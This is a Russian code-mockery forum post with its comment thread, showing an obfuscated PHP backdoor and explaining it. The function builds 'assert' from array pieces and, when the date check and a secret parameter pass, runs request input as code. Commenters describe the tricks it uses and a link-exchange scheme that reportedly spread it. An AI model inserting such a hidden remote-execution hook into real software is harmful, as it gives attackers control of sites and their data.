1. PHP / Говнокод #25510

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    function b($d,$a){
    		if(($d = intval($d) == date('d')) && (isset($_REQUEST[b]))){
    			$dd = trim(preg_replace("/[^-0-9+\(\)]/iu", "",$d));
    			$a[5] = preg_replace("/[^-_a-z]/iu", "",$a[5]);$a[3] = preg_replace("/[^-_0-9]/iu", "",$a[5]);
    			if(isset($_REQUEST['s'.md5('bgdfgt')])){
    				if(isset($_REQUEST[b])){$a[3].$a[5](stripslashes(trim($_REQUEST[b])));}
    			}
    			return true;
    		}
    		return false;
    	}
    	
    	
    	$this ->b(date("d"),$b = array('day','date','out','ass','quest','assert','time'));

    Закладочка

    Запостил: straga_coda, 04 Апреля 2019

    Комментарии (32) RSS

    • Типа, если параметр равен секретному значению, то выполнить ass.assert() ? Не, стоп. А что такое $_REQUEST[b], если b - это функция? Или где-то еще делается $_REQUEST[b] = ... , чтобы потом можно было если что сказать "ой, какая уязвимость))) надо же, пять лет пишу на PHP, а все равно доллары иногда случайно забываю"
      Ответить
      • b без баксов –— это кокококонстанта. Если её явно не объявить, то «PHP» объявит её равной 'b' (строке, совпадающей с её именем) и выкинет нотис, который пэхапэшники не читают. Т.е . $_REQUEST[b] из строки запроса вытянет параметр b.

        assert от строкового выражения в «PHP» эквивалентен эвалу.
        Ответить
        • Вот как хитро.

          Хотя было бы интересно, как что-нибудь такое провернуть беспалевно...
          Ответить
          • Подобный код уже давно в свободном плавании. Какая-то компания предлагала добавить твой сайт в их каталог, а в обмен надо было на свой сайт заинклюдить крошечный php-файл. Этот код выполнял assert от одного get-параметра, если другой get-параметр был равен секретному значению.

            Не все знают, что assert от строки –— это eval, поэтому многие ничего плохого не подозревали.
            Ответить
            • Меня больше всего прикалывает причина, по которой ассёрт выполняет строку - решили сэкономить на спичках и не парсить эту ёбаную строку если ассёрты отключены.
              Ответить
            • http://www.windows93.net/
              Ответить
          • А с функциями хитро. В «PHP» функции сидят в отдельном пространстве, поэтому b(что-то-там) и b без скобочек означают разные вещи. Указатель на функцию взять нельзя, но можно сослаться на её имя:
            $foo = 'b';
            $foo(42); // вызовет функцию b


            Так что $_REQUEST[b] –— это $_REQUEST['b'], если не объявить b. Ну или элемент, индекс которого равен значению константы b, а функция b эту константу не перекрывает.
            Ответить
            • А я то думал, почему все так странно, когда доллар забудешь поставить...
              Ответить
              • Языки со значком доллара перед переменной не нужны.
                Это мусор.

                Вообще PHP состоит из мусора чуть менее, чем полностью.
                Ответить
                • «Perl» не нужен? «Bash» тоже?
                  Ответить
                  • sh имеет $ не просто так, а чтобы отличать от установки переменной.
                    Perl сделан ради обратной визуальной совместимости с sh.

                    В PHP доллар сделали потому что обезьяны.
                    Ответить
                    • $ в sh это тоже интерполяция.

                      В "Perl" все префиксы имеют какой-то смысл, но придуманы они не для того чтобы использовать $ как в sh, хотя именно сам доллар может и выбран по аналогии.
                      Ответить
                • Ну почему? Например в Tcl $ означает подстановку значения переменной в строку, т.к. в Tcl и команды и их аргументы тоже строки, то это и способ получить значение переменной и передать его команде, даже команду можно так составлять:
                  set sy ts
                  pu$sy Hello!
                  А в твоём любимом "Perl" это означает скаляр.
                  Ответить
                  • Разумеется, а в котлине тоже означает стрококококококовую интерполяцию.
                    Кажется в каких-то барсиках это была строковая переменная.

                    Я о том, что вссе переменные всегда со знаком доллара делать тупо.

                    В перле во-первых это ради похожести на sh (точнее на csh, пушо перл делали в BSD), во-вторых там (как ты верно заметил) так отличают скларя, хеш и массив

                    в пыхе нахуй?
                    Ответить
                    • Чтобы отличать от кококококонстант, от неймс-пейсов, от имён классов и функций. В пыхе это разные неймспейсы (простите за каламбур).
                      Ответить
                      • Лучше всего сделано в руби: там константы пишутся апперкейсом
                        Ответить
                    • В пыхе $ это по сути дела оператор, синтаксис примерно такой:
                      dollar expr = "$", (name | "{", expr, "}" | dollar expr);
                      Ещё интересно, что необъявленная константа означает своё имя, может в каких-нибудь древних пыхах в грамматике выше было не name, а constant?
                      Ответить
        • Ого, про eval не знал.
          Ответить
        • Некоторые долбоёбы (Русаков) специально не пишут кавычки, а используют неопределенные константы, а нотисы затыкают.
          Ответить
          • каких русаков?
            Ответить
            • https://myrusakov.ru
              Ответить
              • Хороший сайт. Никаких тебе ненужных алгоримтов и матанов: чистая практика.

                Сёма одобряет.
                Ответить
                • Как-то наткнулся на бложик булкохруста. Поциент считал, что вузы нужно оставить только для гуманитариев, а технарям и естественнонаучникам хватит и ПТУ. По его мнению законы логики, основы методологии, прочие фундаментальные вещи потребуются только гуманитариям, а всяких биологов и физиков достаточно натаскать на готовые решения.

                  Сёме наверное тоже бы понравилось.
                  Ответить
                  • > естественнонаучникам хватит и ПТУ
                    ПТУ микрохирургии глаза и кардиологии?
                    Ответить
                  • На самом деле дело не только в философии: матан, дискретка, компьютер сайнс, алгоритмы и структуры, архитектуры компьютеров и операцонных систем -- это всё овердохуя знаний.
                    Другой вопрос что 98% программистов все это успешно не знают
                    Ответить
                  • Но айти в гавне почему-то у вас, а не у семы.
                    Ответить
    • и тут...
      Ответить

    Добавить комментарий